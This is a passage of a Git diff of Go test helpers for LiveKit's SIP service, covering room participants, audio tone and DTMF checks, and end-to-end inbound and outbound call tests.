*lksdk.RemoteParticipant, callID string, status string) +} + +func (lk *LiveKit) ConnectParticipant(t TB, room, identity string, cb *RoomParticipantCallback) *Participant { + var origCB lksdk.RoomCallback + if cb == nil { + cb = new(RoomParticipantCallback) + } else { + origCB = cb.RoomCallback + } + p := &Participant{t: t} + pr, pw := msdk.Pipe[msdk.PCM16Sample](RoomSampleRate) + t.Cleanup(func() { + pw.Close() + pr.Close() + }) + p.AudioIn = pr + + var err error + p.mixIn, err = mixer.NewMixer(pw, rtp.DefFrameDur, 1, mixer.WithOutputChannel()) + if err != nil { + t.Fatal(err) + } + + cb.OnTrackPublished = func(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { + if pub.Kind() == lksdk.TrackKindAudio { + if err := pub.SetSubscribed(true); err != nil { + t.Error("cannot subscribe to the track", pub.SID(), err) + } + } + if origCB.OnTrackPublished != nil { + origCB.OnTrackPublished(pub, rp) + } + } + cb.OnTrackSubscribed = func(track *webrtc.TrackRemote, pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { + inp := p.mixIn.NewInput() + defer inp.Close() + + codec, err := opus.Decode(inp, channels, logger.NewTestLogger(t)) + if err != nil { + return + } + defer codec.Close() + + h := rtp.NewNopCloser(rtp.NewMediaStreamIn(codec)) + _ = rtp.HandleLoop(track, h) + } + cb.OnParticipantConnected = func(p *lksdk.RemoteParticipant) { + if origCB.OnParticipantConnected != nil { + origCB.OnParticipantConnected(p) + } + switch p.Kind() { + case lksdk.ParticipantSIP: + if cb.OnSIPStatus != nil { + callID := p.Attributes()[livekit.AttrSIPCallID] + status := p.Attributes()[livekit.AttrSIPCallStatus] + cb.OnSIPStatus(p, callID, status) + } + } + } + cb.OnParticipantDisconnected = func(p *lksdk.RemoteParticipant) { + if origCB.OnParticipantDisconnected != nil { + origCB.OnParticipantDisconnected(p) + } + switch p.Kind() { + case lksdk.ParticipantSIP: + if cb.OnSIPStatus != nil { + callID := p.Attributes()[livekit.AttrSIPCallID] + status := p.Attributes()[livekit.AttrSIPCallStatus] + if status == "" { + status = "disconnect-unk" + } + cb.OnSIPStatus(p, callID, status) + } + } + } + cb.OnAttributesChanged = func(changed map[string]string, p lksdk.Participant) { + if origCB.OnAttributesChanged != nil { + origCB.OnAttributesChanged(changed, p) + } + switch p.Kind() { + case lksdk.ParticipantSIP: + rp, _ := p.(*lksdk.RemoteParticipant) + if rp != nil && cb.OnSIPStatus != nil { + callID := p.Attributes()[livekit.AttrSIPCallID] + status := p.Attributes()[livekit.AttrSIPCallStatus] + cb.OnSIPStatus(rp, callID, status) + } + } + } + p.Room = lk.Connect(t, room, identity, &cb.RoomCallback) + for _, rp := range p.Room.GetRemoteParticipants() { + for _, pub := range rp.TrackPublications() { + cb.ParticipantCallback.OnTrackPublished(pub.(*lksdk.RemoteTrackPublication), rp) + } + } + track, err := p.newAudioTrack() + if err != nil { + t.Fatal(err) + } + // This allows us to send silence when there's no audio generated from the test. + p.mixOut, err = mixer.NewMixer(track, rtp.DefFrameDur, 1, mixer.WithOutputChannel()) + if err != nil { + t.Fatal(err) + } + p.AudioOut = p.mixOut.NewInput() + return p +} + +type Participant struct { + t TB + mixIn *mixer.Mixer + mixOut *mixer.Mixer + + Room *lksdk.Room + AudioOut msdk.Writer[msdk.PCM16Sample] + AudioIn msdk.Reader[msdk.PCM16Sample] +} + +func (p *Participant) newAudioTrack() (msdk.Writer[msdk.PCM16Sample], error) { + track, err := webrtc.NewTrackLocalStaticSample(webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeOpus}, "audio", "pion") + if err != nil { + return nil, err + } + pt := p.Room.LocalParticipant + if _, err = pt.PublishTrack(track, &lksdk.TrackPublicationOptions{ + Name: pt.Identity(), + }); err != nil { + return nil, err + } + ow := msdk.FromSampleWriter[opus.Sample](track, RoomSampleRate, rtp.DefFrameDur) + pw, err := opus.Encode(ow, channels, logger.NewTestLogger(p.t)) + if err != nil { + return nil, err + } + return pw, nil +} + +const ( + signalAmp = math.MaxInt16 / 4 + signalAmpMin = signalAmp - signalAmp/4 // TODO: why it's so low? + signalAmpMax = signalAmp + signalAmp/10 +) + +func (p *Participant) SendSignal(ctx context.Context, n int, val int) error { + // Code below assumes a round number of RTP frames fit into 1 sec. + var _ = [1]struct{}{}[time.Second%rtp.DefFrameDur] + + const framesPerSec = int(time.Second / rtp.DefFrameDur) + signal := make(msdk.PCM16Sample, RoomSampleRate/framesPerSec) + audiotest.GenSignal(signal, []audiotest.Wave{{Ind: val, Amp: signalAmp}}) + sid, id := p.Room.LocalParticipant.SID(), p.Room.LocalParticipant.Identity() + p.t.Log("sending signal", "sid", sid, "id", id, "len", len(signal), "n", n, "sig", val) + + ticker := time.NewTicker(rtp.DefFrameDur) + defer ticker.Stop() + for i := 0; n <= 0 || i < n; i++ { + select { + case <-ctx.Done(): + if n <= 0 { + p.t.Log("stopping signal", "sid", sid, "id", id, "n", i, "sig", val) + return nil + } + return ctx.Err() + case <-ticker.C: + } + + if err := p.AudioOut.WriteSample(signal); err != nil { + return err + } + } + return nil +} + +func (p *Participant) WaitSignals(ctx context.Context, vals []int, w io.WriteCloser) error { + var ws msdk.PCM16Writer + if w != nil { + ws = webmm.NewPCM16Writer(w, RoomSampleRate, 1, rtp.DefFrameDur) + defer ws.Close() + } + lastLog := time.Now() + + // Code below assumes a round number of RTP frames fit into 1 sec. + var _ = [1]struct{}{}[time.Second%rtp.DefFrameDur] + + const framesPerSec = int(time.Second / rtp.DefFrameDur) + buf := make(msdk.PCM16Sample, RoomSampleRate/framesPerSec) + sid, id := p.Room.LocalParticipant.SID(), p.Room.LocalParticipant.Identity() + for { + n, err := p.AudioIn.ReadSample(buf) + if err != nil { + p.t.Log("cannot read rtp packet", "err", err) + return err + } + decoded := buf[:n] + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + + if ws != nil { + if err = ws.WriteSample(decoded); err != nil { + return err + } + } + if !slices.ContainsFunc(decoded, func(v int16) bool { return v != 0 }) { + continue // Ignore silence. + } + out := audiotest.FindSignal(decoded) + if len(out) >= len(vals) { + // Only consider first N strongest signals. + out = out[:len(vals)] + // Sort them again by index, so it's easier to compare. + slices.SortFunc(out, func(a, b audiotest.Wave) int { + return a.Ind - b.Ind + }) + ok := true + for i := range vals { + // All signals must match the frequency and have around the same amplitude. + if out[i].Ind != vals[i] || out[i].Amp < signalAmpMin || out[i].Amp > signalAmpMax { + ok = false + break + } + } + if ok { + p.t.Log("signal found", "sid", sid, "id", id, "sig", vals) + return nil + } + } + // Remove most other components from the logs. + if len(out) > len(vals)*2 { + out = out[:len(vals)*2] + } + if time.Since(lastLog) > time.Second { + lastLog = time.Now() + p.t.Log("skipping signal", "sid", sid, "id", id, "len", len(decoded), "signals", out) + } + } +} + +func (p *Participant) SendDTMF(ctx context.Context, digits string) error { + return p.Room.LocalParticipant.PublishDataPacket( + &livekit.SipDTMF{Digit: digits}, + lksdk.WithDataPublishReliable(true), + ) +} + +func (p *Participant) WaitDTMF(ctx context.Context, digits string) error { + l := p.Room.LocalParticipant + old := l.Callback.OnDataPacket + defer func() { + l.Callback.OnDataPacket = old + }() + var ( + done = make(chan struct{}) + mu sync.Mutex + got string + ) + l.Callback.OnDataPacket = func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { + switch data := data.(type) { + case *livekit.SipDTMF: + mu.Lock() + got += data.Digit + cur := got + mu.Unlock() + if cur == digits { + close(done) + } + } + } + select { + case <-ctx.Done(): + return ctx.Err() + case <-done: + return nil + } +} + +type ParticipantInfo struct { + Identity string + Name string + Kind livekit.ParticipantInfo_Kind + Metadata string + Attributes map[string]string +} + +func compareParticipants(t TB, exp *ParticipantInfo, got *livekit.ParticipantInfo) error { + require.Equal(t, exp.Identity, got.Identity, "unexpected participant identity") + require.Equal(t, exp.Kind, got.Kind) + if exp.Name != "" { + require.Equal(t, exp.Name, got.Name, "unexpected participant name") + } + require.Equal(t, exp.Metadata, got.Metadata, "unexpected participant metadata") + expAttrs, gotAttrs := exp.Attributes, got.Attributes + expAttrs, gotAttrs = checkSIPAttrs(t, expAttrs, gotAttrs) + if !maps.Equal(expAttrs, gotAttrs) { + return fmt.Errorf("unexpected participant attributes: exp %#v, got %#v", expAttrs, gotAttrs) + } + return nil +} + +func (lk *LiveKit) ExpectParticipants(t TB, ctx context.Context, room string, participants []ParticipantInfo) []*livekit.ParticipantInfo { + slices.SortFunc(participants, func(a, b ParticipantInfo) int { + return strings.Compare(a.Identity, b.Identity) + }) + ticker := time.NewTicker(time.Second / 4) + defer ticker.Stop() +wait: + for { + list := lk.RoomParticipants(t, room) + if len(list) != len(participants) { + select { + case <-ctx.Done(): + require.Len(t, list, len(participants), "timeout waiting for participants") + return nil + case <-ticker.C: + continue wait + } + } + slices.SortFunc(list, func(a, b *livekit.ParticipantInfo) int { + return strings.Compare(a.Identity, b.Identity) + }) + for i := range participants { + err := compareParticipants(t, &participants[i], list[i]) + if err != nil { + select { + case <-ctx.Done(): + require.NoError(t, err) + return nil + case <-ticker.C: + continue wait + } + } + } + return list // all good + } +} + +func (lk *LiveKit) waitRooms(t TB, ctx context.Context, none bool, filter func(r *livekit.Room) bool) []*livekit.Room { + var rooms []*livekit.Room + ticker := time.NewTicker(time.Second / 4) + defer ticker.Stop() + for { + rooms = lk.ListRooms(t) + if filter != nil { + var out []*livekit.Room + for _, r := range rooms { + if filter(r) { + out = append(out, r) + } + } + rooms = out + } + if !none { + if len(rooms) >= 1 { + return rooms + } + } else { + if len(rooms) == 0 { + return rooms + } + } + select { + case <-ctx.Done(): + return rooms + case <-ticker.C: + } + } +} + +func (lk *LiveKit) ExpectRoomWithParticipants(t TB, ctx context.Context, room string, participants []ParticipantInfo) []*livekit.ParticipantInfo { + filter := func(r *livekit.Room) bool { + return r.Name == room + } + rooms := lk.waitRooms(t, ctx, len(participants) == 0, filter) + if len(participants) == 0 && len(rooms) == 0 { + return nil + } + require.Len(t, rooms, 1) + require.True(t, filter(rooms[0])) + + return lk.ExpectParticipants(t, ctx, room, participants) +} + +func (lk *LiveKit) ExpectRoomPref(t TB, ctx context.Context, pref, number string, none bool) *livekit.Room { + filter := func(r *livekit.Room) bool { + return r.Name != pref && strings.HasPrefix(r.Name, pref+"_"+number+"_") + } + rooms := lk.waitRooms(t, ctx, none, filter) + require.Len(t, rooms, 1) + require.True(t, filter(rooms[0])) + t.Log("Room:", rooms[0].Name) + return rooms[0] +} + +func (lk *LiveKit) ExpectRoomPrefWithParticipants(t TB, ctx context.Context, pref, number string, participants []ParticipantInfo) []*livekit.ParticipantInfo { + room := lk.ExpectRoomPref(t, ctx, pref, number, len(participants) != 0) + return lk.ExpectParticipants(t, ctx, room.Name, participants) +} diff --git a/test/lktest/sip.go b/test/lktest/sip.go index 4b4b207c6..4d36abfe3 100644 --- a/test/lktest/sip.go +++ b/test/lktest/sip.go @@ -1,760 +1,760 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package lktest - -import ( - "context" - "fmt" - "maps" - "slices" - "strings" - "sync" - "sync/atomic" - "time" - - "github.com/stretchr/testify/require" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/utils/guid" - lksdk "github.com/livekit/server-sdk-go/v2" -) - -const AttrTestAny = "" - -func checkSIPAttrs(t TB, exp, got map[string]string) (_, _ map[string]string) { - exp, got = maps.Clone(exp), maps.Clone(got) - - var keepKeys []string - for _, a := range []string{ - livekit.AttrSIPCallID, - livekit.AttrSIPPrefix + "callIDFull", - livekit.AttrSIPPrefix + "callTag", - } { - expVal, ok := exp[a] - if !ok { - continue - } - v, ok := got[a] - if !ok { - // let the caller fail - keepKeys = append(keepKeys, a) - continue - } - require.True(t, ok, "missing attribute %q", a) - require.NotEmpty(t, v, "empty attribute %q", a) - switch a { - case livekit.AttrSIPCallID: - require.True(t, strings.HasPrefix(v, guid.SIPCallPrefix)) - } - if expVal != "" && expVal != AttrTestAny { - require.Equal(t, expVal, v) - } - delete(exp, a) - delete(got, a) - } - // remove extra attributes from comparison - for key := range got { - if slices.Contains(keepKeys, key) { - continue - } - if _, ok := exp[key]; !ok { - delete(got, key) - } - } - return exp, got -} - -type SIPOutboundTestParams struct { - TrunkOut string // trunk ID for outbound call - NumberOut string // number for outbound call (LK phone numbers) - RoomOut string // room for outbound call - AttrsOut map[string]string // expected attributes for outbound participants - HeadersOut map[string]string // headers for outbound call - NumberIn string // number for inbound call (LK phone numbers) - NumberInExp string // expected inbound number, as seen in the inbound call - TrunkIn string // trunk ID for inbound call - RuleIn string // rule ID for inbound call - AttrsIn map[string]string // expected attributes for inbound participants - NoDMTF bool // do not test DTMF -} - -func loadVal[T any](ptr *atomic.Pointer[T]) T { - p := ptr.Load() - if p == nil { - var zero T - return zero - } - return *p -} - -func TestSIPOutbound(t TB, ctx context.Context, lkOut, lkIn *LiveKit, params SIPOutboundTestParams) { - start := time.Now() - defer t.Logf("+%.3fs: TestSIPOutbound took", secSince(start)) - - t.Logf("+%.3fs: getting trunk info", secSince(start)) - - numOut := params.NumberOut - if numOut == "" { - trsOut, err := lkOut.SIP.GetSIPOutboundTrunksByIDs(ctx, []string{params.TrunkOut}) - require.NoError(t, err) - trOut := trsOut[0] - require.NotNil(t, trOut, "trunk not found") - require.NotEmpty(t, trOut.Numbers, "no trunk numbers for outbound") - numOut = trOut.Numbers[0] - t.Logf("+%.3fs: using outbound trunk %q (%s, num: %s)", secSince(start), trOut.Name, trOut.SipTrunkId, numOut) - } else { - t.Logf("+%.3fs: using outbound number %q", secSince(start), numOut) - } - - numIn := params.NumberIn - if numIn == "" { - trsIn, err := lkIn.SIP.GetSIPInboundTrunksByIDs(ctx, []string{params.TrunkIn}) - require.NoError(t, err) - trIn := trsIn[0] - require.NotNil(t, trIn, "trunk not found") - require.NotEmpty(t, trIn.Numbers, "no trunk numbers for inbound") - numIn = trIn.Numbers[0] - t.Logf("+%.3fs: using inbound trunk %q (%s, num: %s)", secSince(start), trIn.Name, trIn.SipTrunkId, numIn) - } else { - t.Logf("+%.3fs: using inbound number %q (%s)", secSince(start), numIn, params.TrunkIn) - } - - rulesIn, err := lkIn.SIP.GetSIPDispatchRulesByIDs(ctx, []string{params.RuleIn}) - require.NoError(t, err) - ruleIn := rulesIn[0] - require.NotNil(t, ruleIn, "rule not found") - if params.NumberIn == "" { - require.True(t, len(ruleIn.TrunkIds) == 0 || slices.Contains(ruleIn.TrunkIds, params.TrunkIn), "selected rule doesn't match the trunk") - } else { - require.True(t, len(ruleIn.TrunkIds) > 0 && slices.Contains(ruleIn.TrunkIds, params.TrunkIn), "selected rule doesn't have a number associated with it") - } - ruleDir, ok := ruleIn.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleDirect) - require.True(t, ok, "unsupported dispatch rule type %T", ruleIn.Rule.Rule) - rule := ruleDir.DispatchRuleDirect - roomIn := rule.RoomName - roomPin := rule.Pin - if roomPin != "" { - roomPin = "ww" + roomPin + "#" - } - t.Logf("+%.3fs: using dispatch rule %q (%s, room: %s)", secSince(start), ruleIn.Name, ruleIn.SipDispatchRuleId, roomIn) - - const ( - outIdentity = "siptest_outbound" - outName = "Outbound Call" - outMeta = `{"test":true, "dir": "out"}` - ) - var ( - inIdentity = "sip_" + numOut - inName = "Phone " + numOut - ) - // Make sure we remove rooms when the test ends. - // Some tests may reuse LK server, in which case the participants could stay in rooms for a long time. - t.Cleanup(func() { - _, _ = lkOut.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: params.RoomOut}) - _, _ = lkIn.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: roomIn}) - }) - // Make sure we delete inbound SIP participant. Outbound is deleted automatically by CreateSIPParticipant. - t.Cleanup(func() { - _, _ = lkIn.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ - Room: roomIn, Identity: inIdentity, - }) - }) - - const ( - identityTest = "test_probe" - ) - - var ( - dataOut = make(chan lksdk.DataPacket, 20) - dataIn = make(chan lksdk.DataPacket, 20) - callIDOut atomic.Pointer[string] - callIDIn atomic.Pointer[string] - statusOut atomic.Pointer[string] - statusIn atomic.Pointer[string] - connected atomic.Bool - ) - defer func() { - if !t.Failed() { - return - } - idIn := loadVal(&callIDIn) - idOut := loadVal(&callIDOut) - // Try explaining the test result. - if connected.Load() { - t.Errorf(`SIP connected, but media tests failed. - -Check logs for calls: -@callID:%s (outbound) -@callID:%s (inbound) - -Possible causes: -- Media ports are closed -- SDP negotiation failed -- DTMF failed`, - idOut, idIn, - ) - return - } - if idIn != "" && idOut != "" { - t.Errorf(`SIP participants connected, but participant info check failed. - -Check logs for calls: -@callID:%s (outbound, last state: %q) -@callID:%s (inbound, last state: %q)`, - idOut, loadVal(&statusOut), - idIn, loadVal(&statusIn), - ) - } else if idOut != "" { - t.Errorf(`Outbound call connected, but no inbound calls were received. - -Check logs for call: -@callID:%s (outbound, last state: %q) - -And search for dropped call for numbers: -@fromUser:%s (from) -@toUser:%s (to) - -Possible causes: -- Signaling is broken -- Signaling port is closed -- Signaling IP / Contact / Via are incorrect -- Password authentication failed`, - - idOut, loadVal(&statusOut), - numOut, numIn, - ) - } else { - t.Errorf(`Outbound call did not connect. - -Check logs for call: -@callID:%s (outbound, last state: %q)`, - - idOut, loadVal(&statusOut), - ) - } - }() - - // LK participants that will generate/listen for audio. - t.Logf("+%.3fs: connecting test participants", secSince(start)) - var ( - pOut *Participant - pIn *Participant - readyOut sync.WaitGroup - readyIn sync.WaitGroup - ) - readyOut.Add(1) - readyIn.Add(1) - go func() { - defer readyOut.Done() - pOut = lkOut.ConnectParticipant(t, params.RoomOut, identityTest, &RoomParticipantCallback{ - RoomCallback: lksdk.RoomCallback{ - ParticipantCallback: lksdk.ParticipantCallback{ - OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { - select { - case dataOut <- data: - default: - } - }, - }, - }, - OnSIPStatus: func(p *lksdk.RemoteParticipant, callID string, status string) { - callIDOut.Store(&callID) - t.Logf("+%.3fs: sip outbound call %s (%s) status %v", secSince(start), callID, p.Identity(), status) - }, - }) - t.Logf("+%.3fs: outbound participant connected", secSince(start)) - }() - go func() { - defer readyIn.Done() - pIn = lkIn.ConnectParticipant(t, roomIn, identityTest, &RoomParticipantCallback{ - RoomCallback: lksdk.RoomCallback{ - ParticipantCallback: lksdk.ParticipantCallback{ - OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { - select { - case dataIn <- data: - default: - } - }, - }, - }, - OnSIPStatus: func(p *lksdk.RemoteParticipant, callID string, status string) { - callIDIn.Store(&callID) - statusIn.Store(&status) - t.Logf("+%.3fs: sip inbound call %s (%s) status %v", secSince(start), callID, p.Identity(), status) - }, - }) - t.Logf("+%.3fs: inbound participant connected", secSince(start)) - }() - - // Start the outbound call. It should hit Trunk Provider and initiate an inbound call back to the second server. - t.Logf("+%.3fs: creating sip participant", secSince(start)) - r := lkOut.CreateSIPParticipant(t, &livekit.CreateSIPParticipantRequest{ - SipTrunkId: params.TrunkOut, - SipNumber: params.NumberOut, - SipCallTo: numIn, - RoomName: params.RoomOut, - ParticipantIdentity: outIdentity, - ParticipantName: outName, - ParticipantMetadata: outMeta, - Dtmf: roomPin, - Headers: params.HeadersOut, - }) - t.Logf("+%.3fs: outbound call ID: %s", secSince(start), r.SipCallId) - - t.Logf("+%.3fs: waiting for outbound participant to become ready", secSince(start)) - readyOut.Wait() - - t.Logf("+%.3fs: asserting outbound room", secSince(start)) - expAttrsOut := map[string]string{ - "sip.callID": r.SipCallId, // special case - "sip.callTag": AttrTestAny, // special case - "sip.callIDFull": AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": numOut, - "sip.phoneNumber": numIn, - } - if params.TrunkOut != "" { - expAttrsOut["sip.trunkID"] = params.TrunkOut - } - for k, v := range params.AttrsOut { - expAttrsOut[k] = v - } - lkOut.ExpectRoomWithParticipants(t, ctx, params.RoomOut, []ParticipantInfo{ - {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, - { - Identity: outIdentity, - Name: outName, - Kind: livekit.ParticipantInfo_SIP, - Metadata: outMeta, - Attributes: expAttrsOut, - }, - }) - - t.Logf("+%.3fs: waiting for inbound participant to become ready", secSince(start)) - readyIn.Wait() - - t.Logf("+%.3fs: asserting outbound room", secSince(start)) - numInExp := numIn - if params.NumberInExp != "" { - numInExp = params.NumberInExp - } - expAttrsIn := map[string]string{ - "sip.callID": AttrTestAny, // special case - "sip.callTag": AttrTestAny, // special case - "sip.callIDFull": AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": numInExp, - "sip.phoneNumber": numOut, - "sip.trunkID": params.TrunkIn, - "sip.ruleID": params.RuleIn, - } - for k, v := range params.AttrsIn { - expAttrsIn[k] = v - } - lkIn.ExpectRoomWithParticipants(t, ctx, roomIn, []ParticipantInfo{ - {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, - { - Identity: inIdentity, - Name: inName, - Kind: livekit.ParticipantInfo_SIP, - Metadata: ruleIn.Metadata, - Attributes: expAttrsIn, - }, - }) - - connected.Store(true) - - t.Logf("+%.3fs: testing audio", secSince(start)) - CheckAudioForParticipants(t, ctx, pOut, pIn) - if !params.NoDMTF { - t.Logf("+%.3fs: testing dtmf", secSince(start)) - CheckDTMFForParticipants(t, ctx, pOut, pIn, dataOut, dataIn) - - t.Logf("+%.3fs: retesting audio", secSince(start)) - CheckAudioForParticipants(t, ctx, pOut, pIn) - } -} - -type SIPOutboundRequestTestIDs struct { - CallID string - PatricipantID string - RoomName string - TrunkID string - Location string -} - -func (ids *SIPOutboundRequestTestIDs) SetFromCreateSIPParticipantResponse(resp *livekit.SIPParticipantInfo) { - if resp == nil { - return - } - ids.CallID = resp.SipCallId - ids.PatricipantID = resp.ParticipantId - ids.RoomName = resp.RoomName -} - -func (ids *SIPOutboundRequestTestIDs) GetValues() []string { - return []string{ - "callID: " + ids.CallID, - "patricipantID: " + ids.PatricipantID, - "roomName: " + ids.RoomName, - "trunkID: " + ids.TrunkID, - "location: " + ids.Location, - } -} - -func getInboundTrunksByNumbers(ctx context.Context, lkIn *LiveKit, numbers []string) ([]*livekit.SIPInboundTrunkInfo, error) { - trsIn, err := lkIn.SIP.ListSIPInboundTrunk(ctx, &livekit.ListSIPInboundTrunkRequest{ - Numbers: numbers, - }) - if err != nil { - return nil, err - } - if len(trsIn.Items) == 0 { - return nil, fmt.Errorf("no trunks found for numbers: %v", numbers) - } - return trsIn.Items, nil -} - -func getDispatchRulesByTrunks(ctx context.Context, lkIn *LiveKit, trunks []*livekit.SIPInboundTrunkInfo) ([]*livekit.SIPDispatchRuleInfo, error) { - ids := make([]string, len(trunks)) - for i, tr := range trunks { - ids[i] = tr.SipTrunkId - } - resp, err := lkIn.SIP.ListSIPDispatchRule(ctx, &livekit.ListSIPDispatchRuleRequest{ - TrunkIds: ids, - }) - if err != nil { - return nil, err - } - if resp == nil || len(resp.Items) == 0 { - return nil, fmt.Errorf("no dispatch rules found for trunks: %v", ids) - } - return resp.Items, nil -} - -type roomIDFunc func(ctx context.Context, lk *LiveKit, rule *livekit.SIPDispatchRuleInfo, req *livekit.CreateSIPParticipantRequest) (string, error) - -func secSince(start time.Time) float64 { - return time.Since(start).Seconds() -} - -type TestCreateSipParticipantParams struct { - RingFor time.Duration -} - -func TestCreateSipParticipant(t TB, ctx context.Context, lkOut, lkIn *LiveKit, req *livekit.CreateSIPParticipantRequest, params TestCreateSipParticipantParams) error { - start := time.Now() - inIDs := SIPOutboundRequestTestIDs{} - outIDs := SIPOutboundRequestTestIDs{} - defer func() { - t.Logf("Onbound IDs: %v", outIDs.GetValues()) - t.Logf("Inbound IDs: %v", inIDs.GetValues()) - }() - - require.Equal(t, "", req.SipTrunkId, "SipTrunkId must be empty") - require.NotNil(t, req.Trunk, "A trunk must be inlined") - outIDs.TrunkID = "inline" - require.NotEmpty(t, req.Trunk.DestinationCountry, "DestinationCountry must be set") - outIDs.Location = req.Trunk.DestinationCountry - require.NotEmpty(t, req.Trunk.Hostname, "Hostname must be set") - inIDs.Location = req.Trunk.Hostname - require.NotEmpty(t, req.SipCallTo, "SipCallTo must be set") - require.NotEmpty(t, req.RoomName, "RoomName must be set") - outIDs.RoomName = req.RoomName - outClosed := make(chan struct{}, 1) - inClosed := make(chan struct{}, 1) - - t.Logf("+%.3fs: Getting inbound trunk", secSince(start)) - trsIn, err := getInboundTrunksByNumbers(ctx, lkIn, []string{req.SipCallTo}) - if err != nil { - return err - } - trIn := trsIn[0] - inIDs.TrunkID = trIn.SipTrunkId - - t.Logf("+%.3fs: Getting dispatch rule", secSince(start)) - rulesIn, err := getDispatchRulesByTrunks(ctx, lkIn, trsIn) - if err != nil { - return err - } - ruleIn := rulesIn[0] - - t.Logf("+%.3fs: Getting room ID function", secSince(start)) - var getRoomID roomIDFunc - if _, ok := ruleIn.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleIndividual); ok { - // Inbound room name is dynamic: e2e_{SipNumber}_{guid}. SipNumber is unique per test, so we - // create the outbound call first, then poll for a room whose name has prefix "e2e_"+SipNumber+"_". - getRoomID = getRoomFromIndividualRule - } else if _, ok := ruleIn.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleDirect); ok { - // Inbound room name is fixed. Just return the name. - getRoomID = getRoomFromDirectRule - require.False(t, ok, "Using direct rule does not support concurrent tests") - } - if getRoomID == nil { - return fmt.Errorf("unsupported dispatch rule type %T", ruleIn.Rule.Rule) - } - - t.Logf("+%.3fs: Connecting local outbound participant", secSince(start)) - roomOut := req.RoomName - const identityTest = "test_probe" - dataOut := make(chan lksdk.DataPacket, 20) - dataIn := make(chan lksdk.DataPacket, 20) - pOut := lkOut.ConnectParticipant(t, roomOut, identityTest, &RoomParticipantCallback{ - RoomCallback: lksdk.RoomCallback{ - ParticipantCallback: lksdk.ParticipantCallback{ - OnDataPacket: func(data lksdk.DataPacket, _ lksdk.DataReceiveParams) { - select { - case dataOut <- data: - default: - } - }, - }, - OnParticipantDisconnected: func(rp *lksdk.RemoteParticipant) { - t.Logf("+%.3fs: Outbound participant disconnected: %s", secSince(start), rp.Identity()) - if rp.Identity() != identityTest { - select { - case outClosed <- struct{}{}: - default: - } - } - }, - }, - }) - t.Cleanup(func() { - _, _ = lkOut.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: roomOut}) - }) - - t.Logf("+%.3fs: Connecting outbound call", secSince(start)) - reqOut := &livekit.CreateSIPParticipantRequest{ - Trunk: req.Trunk, - SipCallTo: req.SipCallTo, - SipNumber: req.SipNumber, - RoomName: req.RoomName, - MediaEncryption: req.MediaEncryption, - } - const outIdentity = "siptest_outbound" - const outName = "Outbound Call" - const outMeta = `{"test":true, "dir": "out"}` - reqOut.ParticipantIdentity = outIdentity - reqOut.ParticipantName = outName - reqOut.ParticipantMetadata = outMeta - - if reqOut.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_DISABLE && trIn.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_REQUIRE { - // CreateSipParticipant request disables encryption, that is required by trunk - reqOut.WaitUntilAnswered = true // We expect this to get rejected - ctx, cancel := context.WithTimeout(ctx, 30*time.Second) - defer cancel() - resp, err := lkOut.SIP.CreateSIPParticipant(ctx, reqOut) - outIDs.SetFromCreateSIPParticipantResponse(resp) - if err == nil { - _, _ = lkOut.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ - Room: reqOut.RoomName, Identity: resp.ParticipantIdentity, - }) - t.Fatal("CreateSIPParticipant should have failed") - } - sipStatus := lksdk.SIPStatusFrom(err) - require.NotNil(t, sipStatus, "Expected SIP status error, got %v", err) - require.Contains(t, []livekit.SIPStatusCode{ - livekit.SIPStatusCode_SIP_STATUS_INTERNAL_SERVER_ERROR, - livekit.SIPStatusCode_SIP_STATUS_BAD_REQUEST, - }, sipStatus.Code) - return nil // Success! - } - - // CreateSIPParticipant triggers inbound call and dynamic room creation - // It onlly needs to run in a goroutine if waitForAnswered is true, but we like consistency. - outboundCallReady := make(chan struct{}, 1) - go func() { - defer close(outboundCallReady) - r := lkOut.CreateSIPParticipant(t, reqOut) // Also adds cleanup! - outIDs.SetFromCreateSIPParticipantResponse(r) - }() - - t.Logf("+%.3fs: Waiting for inbound call to create inbound room", secSince(start)) - subCtx, cancel := context.WithTimeout(ctx, 30*time.Second) - defer cancel() - roomIn, err := getRoomID(subCtx, lkIn, ruleIn, reqOut) // Takes about 5-15 seconds to propagate - if err != nil || roomIn == "" { - return fmt.Errorf("failed to find inbound room: %w", err) - } - inIDs.RoomName = roomIn - t.Cleanup(func() { - _, _ = lkIn.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: roomIn}) - }) - - inIdentity := "sip_" + req.SipNumber - t.Cleanup(func() { - _, _ = lkIn.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ - Room: roomIn, Identity: inIdentity, - }) - }) - - if params.RingFor > 0 { - // Keep in mind, it takes quite some time to run getRoomID - // That time is split between actual signal propagation and waiting for our APIs to catch up - // This ringing duration in added ON TOP of this extra time. - t.Logf("+%.3fs: delaying pickup time by %v", secSince(start), params.RingFor) - select { - case 